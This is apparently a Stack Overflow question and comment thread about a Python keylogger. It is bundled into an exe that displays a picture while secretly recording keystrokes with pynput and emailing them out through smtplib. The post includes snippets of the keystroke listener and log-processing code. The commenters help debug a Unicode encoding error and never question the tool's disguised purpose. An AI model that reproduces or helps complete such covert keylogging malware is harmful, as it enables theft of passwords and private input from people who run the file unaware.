0

TL;DR: found the bug, didnt solve it yet:
Typing in english(left side), displayed in hebrew(right side)

I have built a simple keylogger in python 2.7 on my Ubuntu machine (VMware). The exe file created supposed to show a picture and execute the keylogger at the background. It is working on the host computer (the VMware host, no python installed) but not other computer I have(no python as well). It does show the picture but fails to send email using smtplib

for processing keystokes I used pynput like this:

keylistener = pynput.keyboard.Listener(on_press=proccess_keystrokes)
with keylistener:
sendGlobalVarLog()
keylistener.join()

and proccess_keystrokes is:

def process_key_press(self, key):
try:
    current_key = key.char
except AttributeError:
    current_key = '{0}'.format(key)
    if current_key == 'Key.space':
        current_key = " "
    else:
        if current_key == 'Key.enter':
            current_key = "\n"
        else:
            current_key = " " + current_key + " "
except UnicodeEncodeError:
    current_key = " bla "
self.append_to_log(current_key)

now it doesn't send anything on my windows machine, except from the first notification that the keylogger has started.

I tried to run in from pycharm as well, and after few second of running I get the following exception:

File "C:\Users\PC\AppData\Local\Programs\Python\Python37-32\lib\smtplib.py", line 855, in sendmail msg = _fix_eols(msg).encode('ascii') UnicodeEncodeError: 'ascii' codec can't encode characters in position 6-11: ordinal not in range(128)

Anyone knows what do I do wrong? how can I parse the keystrokes correctly? I tried several manuals but couldn't find a solution.

Would appreciate any help, Thanks.

Yahav
  • 146
  • 11
  • Does your code use a relative path to the image? (and is that the same path as where `--add-data` puts the image?) – Niels Henkens Jan 05 '19 at 11:15
  • Hey Niels, I have edited my post. This is the link to the image: file_name = sys._MEIPASS + "\image.jpg" from what i understand, if i write ;. at the end of the --add-data it saves the image on temp directory which sys._MEIPASS supposed to lead – Yahav Jan 05 '19 at 11:20
  • Have you checked out [this thread](https://stackoverflow.com/questions/7674790/bundling-data-files-with-pyinstaller-onefile)? – Niels Henkens Jan 05 '19 at 12:48
  • I dont think it will help, the resource (Image) is loaded everytime. the script at the background is not working well (init is working but the listening to keystrokes is not) – Yahav Jan 05 '19 at 15:44
  • @NielsHenkens I have found the bug, maybe you would know the answer now? – Yahav Jan 05 '19 at 19:28
  • You have a typo in your except clause. it's not `exept` but `except`. – Niels Henkens Jan 05 '19 at 19:46
  • Thanks, it doesnt exist in code, no typos there – Yahav Jan 05 '19 at 19:48
  • And the indentation of the code of your first version of `process_keystrokes` is correct in your code as well (not like it is here)? – Niels Henkens Jan 05 '19 at 19:53
  • Yes, assume no compilation bugs at all, sorry about that :) – Yahav Jan 06 '19 at 18:27
  • The characters you get are unicode representation of hebrew letters. Could this be correct? – Niels Henkens Jan 06 '19 at 20:17
  • I am writing in english (I have verified) even thought I do have hebrew as a second language on my computer. I swiched up my keystroke parser to something else (written above), and now, when running it on my windows i dont get any input. just a notification that the keylogger has started, and thats it. I tried running it from pycharm as well, there I get the following exception: – Yahav Jan 06 '19 at 21:03
  • File "C:\Users\PC\AppData\Local\Programs\Python\Python37-32\lib\smtplib.py", line 855, in sendmail msg = _fix_eols(msg).encode('ascii') UnicodeEncodeError: 'ascii' codec can't encode characters in position 6-11: ordinal not in range(128) – Yahav Jan 06 '19 at 21:09
  • I would say that it somehow still looks like your input might be Hebrew (or some other non-ascii character). The `process_key_press` function will not raise a UnicodeEncodeError, so that except-clause won't do anything. Maybe [this thread](https://stackoverflow.com/questions/4987327/how-do-i-check-if-a-string-is-unicode-or-ascii) could be helpful in making a new check to determine if it's ascii or unicode? Or [check out this thread](https://stackoverflow.com/questions/8329741/issue-with-smtplib-sending-mail-with-unicode-characters-in-python-3-1) for mailing with unicode. – Niels Henkens Jan 06 '19 at 21:45
  • I know what is the issue now. For some reason, current_key is processed as hebrew letter eventhough I press english letters (I just added print(current_key) and saw it, the console shows my types (english letters) and after each letter the print I added (hebrew letters) I have no idea why and how to deal with this. I cannot encode it since it will cause exception. – Yahav Jan 07 '19 at 19:40
  • sys.getdefaultencoding() shows utf-8 – Yahav Jan 07 '19 at 19:55
  • Added a link with a picture – Yahav Jan 07 '19 at 20:07
  • Isn’t it just something simple like your keyboard language being Hebrew when you use the keylogger? Have you checked the language icon in the program bar when you use the keylogger? – Niels Henkens Jan 08 '19 at 19:36
  • Yes I did, see the picture I added as well, the keystrokes are in English. I assume it is something related to the default language of the OS, what do you think? – Yahav Jan 09 '19 at 14:44

0 Answers0